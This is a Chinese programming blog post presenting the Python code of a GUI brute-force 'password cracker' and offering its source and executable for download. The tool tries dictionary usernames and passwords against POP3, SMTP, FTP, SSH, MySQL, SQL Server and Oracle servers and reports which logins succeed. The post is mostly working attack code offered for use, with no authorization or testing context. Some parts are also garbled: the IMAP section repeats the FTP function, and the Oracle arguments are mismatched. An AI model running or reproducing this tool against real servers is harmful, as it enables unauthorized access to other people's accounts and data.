欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识！
您现在的位置是： 首页  >  IT编程

太实用了！自己动手写软件——我们的密码破解器终于完成了

程序员文章站 2022-05-19 11:29:24
之前我们完成了密码破解器的界面，今天我们来看看功能实现吧。目录编码提交——功能实现开始破解——功能实现读取密码字典选择协议并执行破解动作POP3协议的破解函数IMAP协议的破解函数SMTP协议的破解函数FTP协议的破解函数SSH协议的破解函数MySQL协议的破解函数SQL server协议的破解函数Oracle协议的破解函数实现效果FTP协议Oracle协议程序获取编码提交——功能实现首先我们先完成“提交”功能的实现，“提交”按钮的作用是将用户填写的服务器地址、服务器端口和协议类型信息存储起来，用...

目录


之前我们完成了密码破解器的界面，今天菜鸟小白终于实现了软件功能，我们先来看看软件的具体效果吧。

实现效果

我们以ftp协议和Oracle协议为例，看看软件的破解效果。

FTP协议

页面填写
太实用了！自己动手写软件——我们的密码破解器终于完成了

破解结果
太实用了！自己动手写软件——我们的密码破解器终于完成了

Oracle协议

破解界面配置同ftp界面，点击“提交”后会弹出输入实例名的窗口，输入实例名并回车即可。

太实用了！自己动手写软件——我们的密码破解器终于完成了

因为菜鸟小白没有搭建Oracle服务器所以破解失败的结果如下：
太实用了！自己动手写软件——我们的密码破解器终于完成了

编码

我们再来看看这样每一个按钮后的软件功能是如何实现的吧。

提交——功能实现

首先我们先完成“提交”功能的实现，“提交”按钮的作用是将用户填写的服务器地址、服务器端口和协议类型信息存储起来，用于后面的密码验证。所以我们先定义了一个字典（因为oracle的数据库连接必须要实例名，所以我们新增了一个db_name）。

dic_list = {'server_ip':'','server_port':'','pro':'','db_name':""}

获取服务器地址和端口我们定义了一个回调函数gettext，将两个Entry对象传递过来后，直接使用一个get命令就可以将Entry中的内容取出来，同时我们添加了对IP和端口的合法性校验。

def gettext(x,y):
    """
    获取输入框内容
    :param x: 输入框对象——服务器IP
    :param y: 输入框对象——服务器端口
    :return:
    """
    server_ip = x.get()
    server_port = y.get()
    #判断输入的IP和端口是否合法
    if (not re.match("[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+\.?",server_ip)):
        tkinter.messagebox._show(title="IP输入不合法", message='请重新输入合法IP')
    # elif not(re.match("^?:([1-6][0-9]{1,4})|([1-9][0-9]{0,3})$",server_port)):
    elif not(re.match("^[1-9]$|(^[1-9][0-9]$)|(^[1-9][0-9][0-9]$)|(^[1-9][0-9][0-9][0-9]$)|(^[1-6][0-5][0-5][0-3][0-5]$)$",server_port)):
        tkinter.messagebox._show(title="端口输入不合法", message='请重新输入合法端口')
    else:
        dic_list["server_port"] = server_port
        dic_list["server_ip"] = server_ip
    print(dic_list["server_ip"],dic_list["server_port"])

对于协议类型的读取，我们定义了一个回调函数get_select，同时我们对协议是否选择进行判断，若没有选择则提示重新选择协议。

def get_select(y,list_pro):
    """
    获取列表的选择
    :param y:列表框对象
    :param list_pro:列表
    """
    for i in range(0, len(list_pro)):
        if y.selection_includes(i):
            #补充dic_list字典中的协议字段内容
            dic_list["pro"] = list_pro[i]
        else:
            pass
    if dic_list["pro"]=="":
        tkinter.messagebox._show(title="协议未选择", message='请重新破解协议')
    elif dic_list["pro"]=='Oracle':
        dic_list['db_name']=getInput("Oracle实例","请输入Oracle实例信息")
        print(dic_list['db_name'])

同时我们添加了一个对oracle协议的判断，若选择oracle协议则需要弹出一个窗口填写数据库实例名称。我们新增了一个弹框输入的函数get_Input进行调用。

def getInput(title, message):
    def return_callback(event):
        print('quit...')
        root.quit()
​
    def close_callback():
        tkinter.messagebox.showinfo('message', 'no click...')
​
    root = tkinter.Tk(className=title)
    root.wm_attributes('-topmost', 1)
    screenwidth, screenheight = root.maxsize()
    width = 300
    height = 100
    size = '%dx%d+%d+%d' % (width, height, (screenwidth - width) / 2, (screenheight - height) / 2)
    root.geometry(size)
    root.resizable(0, 0)
    lable = tkinter.Label(root, height=2)
    lable['text'] = message
    lable.pack()
    entry = tkinter.Entry(root)
    entry.bind('<Return>', return_callback)
    entry.pack()
    entry.focus_set()
    root.protocol("WM_DELETE_WINDOW", close_callback)
    root.mainloop()
    str = entry.get()
    root.destroy()
    return str

这样我们的“提交”按钮功能就全部完成了。接下来我们看看“开始破解”菜单按钮的功能。

开始破解——功能实现

我们定义了一个回调函数为mimapojie

  1. 首先会读取密码字典

  2. 然后是选择协议并执行破解动作

  3. 最后是展示破解结果

def mimapojie(server_ip,server_port,pro):
    get_user_and_passwd('./test.xls', 0)
    print_list = choice_protocol(server_ip, int(server_port), pro,dic_list['db_name'])
    #展示破解结果
    tkinter.messagebox._show(title='破解结果',message=dic_list['pro'],detail=print_list)

接下来我们依次看看这三个方面都是如何实现的。

读取密码字典

我们使用的是我们之前文章中使用的读取Excel表格的方式，我们直接将第一列的内容读取到user_list列表中，将第二列内容读取到password_list列表中。

def get_user_and_passwd(file_path, sheet_id):
    """
    获取密码库中的用户名密码
    :param file_path: 密码库的路径及文件名
    :param sheet_id: 密码库中的sheet id
    """
    read_excel = ReadAndWriteExcel.OpenExcel(file_name=file_path, sheet_id=sheet_id)
    rows = read_excel.get_lines()
    global user_list
    global password_list
    for i in range(0, rows):
        if read_excel.get_value(i, 0):
            user_list.append(read_excel.get_value(i, 0))
        if read_excel.get_value(i, 1):
            password_list.append(read_excel.get_value(i, 1))

选择协议并执行破解动作

我们定义了一个选择协议函数，根据获取到的选择协议字段执行不同的破解函数。

def choice_protocol(server_ip,server_port, pro,db_name):
    """
    选择需要破解的协议
    :param server_ip:需要破解的服务器IP
    :param server_port:需要破解的服务器端口
    :param pro: 需要破解的协议
    :param db_name: oracle数据库的实例名
    """
    if  pro == "POP3":
        attempt_pop(server_ip, server_port)
    elif pro == "IMAP":
        print('this is a test')
        attempt_imap(server_ip, server_port)
    elif pro == "SMTP":
        attempt_smtp(server_ip, server_port)
    elif pro == "FTP":
        attempt_ftp(server_ip, server_port)
    elif pro == "SSH":
        attempt_ssh(server_ip, server_port)
    elif pro == 'MySql':
        attempt_mysql(server_ip, server_port)
    elif pro == "SQL Server":
        attempt_mssql(server_ip, server_port)
    elif pro == "Oracle":
        attempt_oracle(server_ip, server_port,db_name)
​
    return print_list

POP3协议的破解函数

def attempt_pop(server_ip, server_port):
    """
    破解POP3协议的用户名密码
    :param server_ip: 破解的服务器IP
    :param server_port: 破解的服务器端口
    """
    print("=======破解POP3协议========")
    print_list.clear()
    for i in range(0, len(user_list)):
        for j in range(0, len(password_list)):
            try:
                pop3_server = poplib.POP3(host=server_ip,port=server_port)
                pop3_server.user(user_list[i])
                pop3_server.pass_(password_list[j])
                #获取邮件列表，用于判断是否登录成功
                pop3_server.list()
                print_list.append("用户名：%s，密码：%s登录成功\n" % (user_list[i], password_list[j]))
            except:
                pass
    if not print_list:
        print_list.append("密码破解失败")

IMAP协议的破解函数

def attempt_ftp(server_ip,port=21):
    """
    破解FTP协议的用户名密码
    :param server_ip: 破解的服务器IP
    :param port: 破解的服务器端口，默认为21
    """
    ftp = FTP()
    ftp.connect(server_ip, port)
    global print_list
    print_list.clear()
    for i in range(0, len(user_list)):
        for j in range(0, len(password_list)):
            try:
                ftp.login(user_list[i], password_list[j])
                ftp.quit()
                print_list.append("用户名：%s，密码：%s登录成功\n" % (user_list[i], password_list[j]))
            except:
                pass
    if not print_list:
        print_list.append("密码破解失败")

SMTP协议的破解函数

def attempt_smtp(mail_host, port=25):
    """
    破解SMTP协议的用户名密码
    :param mail_host: 破解的服务器IP
    :param show_flag: 标志位，True代表展示破解失败的用户名密码，False代表仅展示破解成功的用户名密码
    :param port: 破解服务器的端口，默认为25
    """
    print("=======破解SMTP协议========")
​
    global user_list
    global password_list
    print_list.clear()
    for i in range(0, len(user_list)):
        for j in range(0, len(password_list)):
            try:
                smtpObj = smtplib.SMTP(timeout=3)
                smtpObj.set_debuglevel(0)
                smtpObj.connect(mail_host, port)  # 25 为 SMTP 端口号
                smtpObj.login(user_list[i], password_list[j])
                print_list.append("用户名：%s，密码：%s登录成功\n" % (user_list[i], password_list[j]))
            except Exception as e:
                print(e)
                pass
    if not print_list:
        print_list.append("密码破解失败")

FTP协议的破解函数

def attempt_ftp(server_ip,port=21):
    """
    破解FTP协议的用户名密码
    :param server_ip: 破解的服务器IP
    :param port: 破解的服务器端口，默认为21
    """
    ftp = FTP()
    ftp.connect(server_ip, port)
    global print_list
    print_list.clear()
    for i in range(0, len(user_list)):
        for j in range(0, len(password_list)):
            try:
                ftp.login(user_list[i], password_list[j])
                ftp.quit()
                print_list.append("用户名：%s，密码：%s登录成功\n" % (user_list[i], password_list[j]))
            except:
                pass
    if not print_list:
        print_list.append("密码破解失败")

SSH协议的破解函数

def attempt_ssh(server_ip, port=22):
    """
    破解SSH协议的用户名密码
    :param server_ip: 破解的服务器IP
    :param port: 破解的服务器端口，默认为22
    """
    print("=======破解SSH协议========")
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    global user_list
    global password_list
    print_list.clear()
    for i in range(0, len(user_list)):
        for j in range(0, len(password_list)):
            try:
                ssh.connect(hostname=server_ip, port=port, username=user_list[i], password=password_list[j])
                print_list.append("用户名：%s，密码：%s登录成功\n" % (user_list[i], password_list[j]))
            except:
                pass
    if not print_list:
        print_list.append("密码破解失败")

MySQL协议的破解函数

def attempt_mysql(server_ip, server_port=3306,db_name='mysql'):
    """
    破解MySQL协议的用户名密码
    :param server_ip: 破解的服务器IP
    :param show_flag: 标志位，True代表展示破解失败的用户名密码，False代表仅展示破解成功的用户名密码
    """
    print("=======破解MYSQL协议========")
    global user_list
    global password_list
    print_list.clear()
    for i in range(0, len(user_list)):
        for j in range(0, len(password_list)):
            try:
                # pymysql.connect(host=server_ip,port=server_port,user=user_list[i],passwd=password_list[j],db=db_name)
                db = pymysql.connect(server_ip, user_list[i], password_list[j])
                db.close()
                print_list.append("用户名：%s，密码：%s登录成功\n" % (user_list[i], password_list[j]))
            except:
                pass
    if not print_list:
        print_list.append("密码破解失败")

SQL server协议的破解函数

def attempt_mssql(server_ip, server_port):
    """
    破解SQL server协议的用户名密码
    :param server_ip: 破解的服务器IP
    :param server_port: 破解的服务器端口
    """
    print("=======破解SQL Server协议========")
    global user_list
    global password_list
    print_list.clear()
    for i in range(0, len(user_list)):
        for j in range(0, len(password_list)):
            try:
                db = pymssql.connect(server_ip,user_list[i],password_list[j])
                db.close()
                # print("用户名：%s，密码：%s登录成功" % (user_list[i], password_list[j]))
                print_list.append("用户名：%s，密码：%s登录成功\n" % (user_list[i], password_list[j]))
            except:
                pass
    if not print_list:
        print_list.append("密码破解失败")

Oracle协议的破解函数

def attempt_oracle(server_ip,db_name, port=1521 ):
    """
    破解Oracle协议的用户名密码
    :param server_ip: 破解的服务器IP
    :param show_flag: 标志位，True代表展示破解失败的用户名密码，False代表仅展示破解成功的用户名密码
    :param port: 破解的服务器端口，默认为1521
    """
    print("=======破解Oracle协议========")
    global user_list
    global password_list
    print_list.clear()
    for i in range(0, len(user_list)):
        for j in range(0, len(password_list)):
            try:
                cx_Oracle.connect(user_list[i]+'/'+password_list[j]+'@'+server_ip+':'+str(port)+'/'+db_name)
                # print("用户名：%s，密码：%s登录成功" % (user_list[i], password_list[j]))
                print_list.append("用户名：%s，密码：%s登录成功\n" % (user_list[i], password_list[j]))
            except Exception as e:
                pass
    if not print_list:
        print_list.append("密码破解失败")

程序获取

老规矩，关注公众号“菜鸟小白的学习分享”。

  1. 回复“密码破解源码”即可获得源码下载链接
  2. 回复“密码破解可执行程序”即可获得工具软件

好了，今天的内容就结束了。今天合肥这边下了一天的雨，菜鸟小白都没有出去，你们呢？

本文地址：https://blog.csdn.net/qq_25535969/article/details/107434469

相关标签： python 软件制作

上一篇： 浅谈正则速记法的技巧

下一篇： ECMA-262关键词及其作用

推荐阅读